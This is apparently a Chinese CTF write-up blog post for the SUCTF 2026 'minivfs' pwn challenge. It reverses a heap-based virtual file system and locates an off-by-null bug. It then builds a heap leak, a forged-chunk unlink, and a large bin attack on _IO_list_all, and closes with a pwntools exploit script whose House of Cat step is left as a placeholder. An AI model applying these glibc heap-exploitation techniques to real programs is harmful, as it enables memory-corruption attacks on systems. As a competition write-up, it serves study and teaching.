2026-03-14-SUCTF-minivfs

题目简介

2026.03.14 SUCTF,off-by-null+large bin attack,通过这道题熟悉并实践一下高版本下的off-by-null和large bin attack手法

程序分析

程序基本信息

首先查看保护:


保护全开,然后查看沙箱情况:


看到禁止了execve系列,应该只能orw

代码逻辑逆向

主要逻辑分析

进入main函数,看出来是一个模拟的文件系统,如图:


同时对照函数表能看出来是一个堆题:


同时从主函数看到至少支持创建、删除、显示、编辑文件功能

命令语法逆向

从main函数可以看到每个命令应该是遵循一定格式的,并且即使直接运行程序,按照Linux shell语法输入命令发现无法运行,因此必须先逆向支持的命令语法

首先分析程序自定义的输入函数,如图:


看出来是将输入读入到一个栈缓冲区,以回车结束

在main函数中,会处理前导空格并分词:


由于每个功能对应的函数参数不同,以touch为例,逆向创建文件命令的语法

进入Add功能,能直接看出来三个参数分别对应文件名、文件大小和一个校验值

同时上图这部分反编译还提示允许的文件大小必须是1048至1280之间(实际就是不允许tcache、fastbin)

接下来需要逆向校验值能否绕过

校验绕过

首先关注校验值是如何生成的,如图:


然后进入FNV1A:


看上去只是一些四则运算以及异或、位移操作,直觉上是可以还原的

让AI生成了一份哈希值计算代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def HashToken(message_):
key=-2128831035
for item_ in message_:
key ^= ord(item_) # 按字节异或
key = (key * 0x01000193) & 0xFFFFFFFF # 32-bit 溢出

val_=key
# log.info("val_={}".format(hex(val_)))

shr16_xor=val_^(val_>>16)
imul=(shr16_xor*2146121005)&0xffffffff
shr15=imul>>15
final_xor=shr15^imul
result=(-2073254261*final_xor)&0xffffffff
result=result^(result>>16)
# log.info("result = {}".format(hex(result)))
return result^0xa5a5a5a5

漏洞点定位

按照上述流程一个一个逆向其他功能,并没有找到明显可疑的地方

  • 修改文件:

  • 删除文件:

  • 显示文件:


    这道题漏洞点非常隐蔽,必须看汇编或者动态调试才能看出来:

    这里可以看到一段非常诡异的汇编指令,并且看到一个往rax指向内存写0的操作,怀疑是off-by-null

    于是将断点打在调用FileCopy的语句,动态调试一下:


    注意大小为0x500的那个堆块,在拷贝之前prev_inuse位为1

    同时查看附近的内存:


    此时ni走完FileCopy函数,再次查看堆区:


    可以看到prev_inuse位被置空,同时查看附近内存:


    看到已经被写入了我们的脏数据,至此可以确定本题漏洞点在于编辑文件时的一个off-by-null

漏洞利用

泄露堆地址和libc地址

这一步和off-by-null以及large bin attack没什么关系,仅借助“堆块申请后没有置空”这一点,直接读出unsort bin上的残留脏数据即可

1
2
3
4
5
6
7
8
9
10
11
12
13
io=Launch()
Add(io,"aaa",0x450)
Add(io,"bbb",0x420)
Add(io,"ccc",0x480)
Add(io,"xyz",0x4b8) # off到xyz后面
Delete(io,"ccc")
Delete(io,"aaa")
Add(io,"aaa",0x450)
Add(io,"ccc",0x480)
heap_leak=u64(Show(io,"ccc",0x430)[0x10:0x10+8].ljust(8,b'\x00'))
main_arena96=u64(Show(io,"aaa",0x450)[:8].ljust(8,b'\x00'))

libc.address=main_arena96-0x210b20

off-by-null构造UAF效果

高版本glibc在合并时添加了对双链表指针的检查:

1
2
3
4
5
6
7
8
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

可以看到这里检查了:

  1. 堆块记载的prev_size和按这个prev_size找到的前一块size字段是否相等
  2. fd->bk和bk->fd是否指向p本身
    当仅清零prev_inuse位时这两个条件是无法满足的,因此需要三个堆块:


    通过在堆块数据区内部伪造堆块元数据,可以通过这两个检查,合并出一个UAF的堆块

large bin attack任意地址写一个可控堆地址

large bin attack源于ptmalloc在触发unsort bin中的堆块重排时,如果插入large bin,则会根据插入堆块大小做下述操作:

如果插入堆块小于当前表头堆块:

1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

或者大于:

1
victim->bk_nextsize->fd_nextsize = victim;

但是,高版本的glibc源码出现了如下情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}

当插入large bin的堆块size大于原有堆块时(即上述代码的else分支)存在额外对nexsize的检查,因此只能利用if分支,保证插入的堆块和表头处于一个large bin的分区,但又要小于当前表头

House of Cat读出flag

能任意写之后,改掉_IO_list_all指向可控堆块,找个House of Cat模板读出flag即可

最终exp

最终exp,重点在off-by-null和large bin attack,House of Cat没加板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from pwn import *
from optparse import OptionParser
import string

parser = OptionParser()
parser.add_option("-m", "--mode", dest="mode", default="local")
(options, args) = parser.parse_args()
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]

targetELF="./pwn"
binary=ELF(targetELF,checksec=False)
libc=ELF("/home/k40/Pwn/Tools/glibc-all-in-one/libs/2.41-6ubuntu1.2_amd64/libc.so.6",checksec=False)

def Launch():
if options.mode=="local":
io=process(targetELF)
elif options.mode=="remote":
io=remote("101.245.104.190",10000)
elif options.mode=="debug":
io=gdb.debug(targetELF,"source ./debug.gdb")
return io

def HashToken(message_):
key=-2128831035
for item_ in message_:
key ^= ord(item_) # 按字节异或
key = (key * 0x01000193) & 0xFFFFFFFF # 32-bit 溢出

val_=key
# log.info("val_={}".format(hex(val_)))

shr16_xor=val_^(val_>>16)
imul=(shr16_xor*2146121005)&0xffffffff
shr15=imul>>15
final_xor=shr15^imul
result=(-2073254261*final_xor)&0xffffffff
result=result^(result>>16)
# log.info("result = {}".format(hex(result)))
return result^0xa5a5a5a5

# touch filename size token,0x418到0x500之间
def Add(io,file_name_,size_):
cmd="touch "
cmd+=file_name_+' '
cmd += str(size_)+' '
auth_val=HashToken(file_name_)
cmd+=str(auth_val)
io.sendlineafter("vfs> ",cmd)
io.recvuntil("[ok] created: ")

def Delete(io,file_name_):
cmd="rm "
cmd+=file_name_+' '
auth_val=HashToken(file_name_)
cmd+=str(auth_val)
io.sendlineafter("vfs> ",cmd)
io.recvuntil("[ok] removed: ")

def Edit(io,file_name_,size_,content_):
cmd="write "
cmd+=file_name_+' '
cmd += str(size_)+' '
auth_val=HashToken(file_name_)
cmd+=str(auth_val)
io.sendlineafter("vfs> ",cmd)
io.recvuntil("body(")
io.sendafter("bytes) > ",content_)
io.recvuntil("[ok] wrote: ")

def Show(io,file_name_,size_):
cmd="cat "
cmd+=file_name_+' '
auth_val=HashToken(file_name_)
cmd+=str(auth_val)
io.sendlineafter("vfs> ",cmd)
content_=io.recv(size_)
return content_

def HouseOfCat():
return b'1'*0x100

io=Launch()
Add(io,"aaa",0x450)
Add(io,"bbb",0x420)
Add(io,"ccc",0x480)
Add(io,"xyz",0x4b8) # off到xyz后面
Delete(io,"ccc")
Delete(io,"aaa")
Add(io,"aaa",0x450)
Add(io,"ccc",0x480)
heap_leak=u64(Show(io,"ccc",0x430)[0x10:0x10+8].ljust(8,b'\x00'))
main_arena96=u64(Show(io,"aaa",0x450)[:8].ljust(8,b'\x00'))

libc.address=main_arena96-0x210b20
IO_list_all=libc.symbols["_IO_list_all"]
log.info("libc base ={}".format(hex(libc.address)))
log.info("heap addr ={}".format(hex(heap_leak)))

xyz_addr=heap_leak+0x490 #泄露地址(ccc的地址)+0x440,定位到xyz(包括元数据)的起点
Add(io,"ntr",0x4f0) #被溢出的堆块
Add(io,"bigger",0x460) #扩容用
Add(io,"TMD",0x418) #防止合并

off_by_null=p64(0)+p64(0x941)
off_by_null+=p64(heap_leak+0x30)+p64(heap_leak+0x50)
off_by_null+=p64(0)+p64(0x31)
off_by_null+=p64(0)+p64(heap_leak+0x10)
off_by_null+=p64(0)+p64(0x51)
off_by_null+=p64(heap_leak+0x10)+p64(0)
Edit(io,"ccc",len(off_by_null),off_by_null)
Edit(io,"xyz",0x4b8,b'A'*0x4b0+p64(0x940))
Delete(io,"ntr")
#合并后=0xe40(1),ccc的数据区伪装成堆块头部

Add(io,"cccback",0x418) #剩下的remainder进入large bin,要求比ntr小,但要在一个分组里面
Add(io,"xyzback",0x418)
Add(io,"ntrback",0x420) #还剩一个0x1d0的chunk,等下就让他进fast,就不会合并了
#相当于把剩下那0x1d0往后推一波
Delete(io,"bigger")
Add(io,"bigger",0x460) #切剩下的0x1e0还在unsort——all remainders in unsort

Add(io,"out",0x4e0)
Delete(io,"ntrback")
Add(io,"trig_sort",0x4e0) #这里会从top chunk切一块下来,然后unsort里的重排
Delete(io,"cccback") #先进入unsort
#现在,ccc在unsorted bin,ntr在large bin
payload=b"A"*0x3b0
payload+=p64(0x420)+p64(0x431)
payload+=p64(main_arena96-96+1104)+p64(main_arena96-96+1104)
payload+=p64(xyz_addr+0x3c0)+p64(IO_list_all-0x20)
Edit(io,"xyz",len(payload),payload)
Add(io,"CNMD",0x4e0) #按道理ntr->bk_nextsize->fd_nexsize要被覆盖的

payload=p64(0)+p64(0x491)+HouseOfCat()
Edit(io,"ccc",len(payload),payload)
io.interactive()

2026-03-14-SUCTF-minivfs
http://0x4a-210.github.io/2026/04/14/pwn刷题记录/比赛题解/2026-03-14-SUCTF-minivfs/
Posted on
April 14, 2026
Licensed under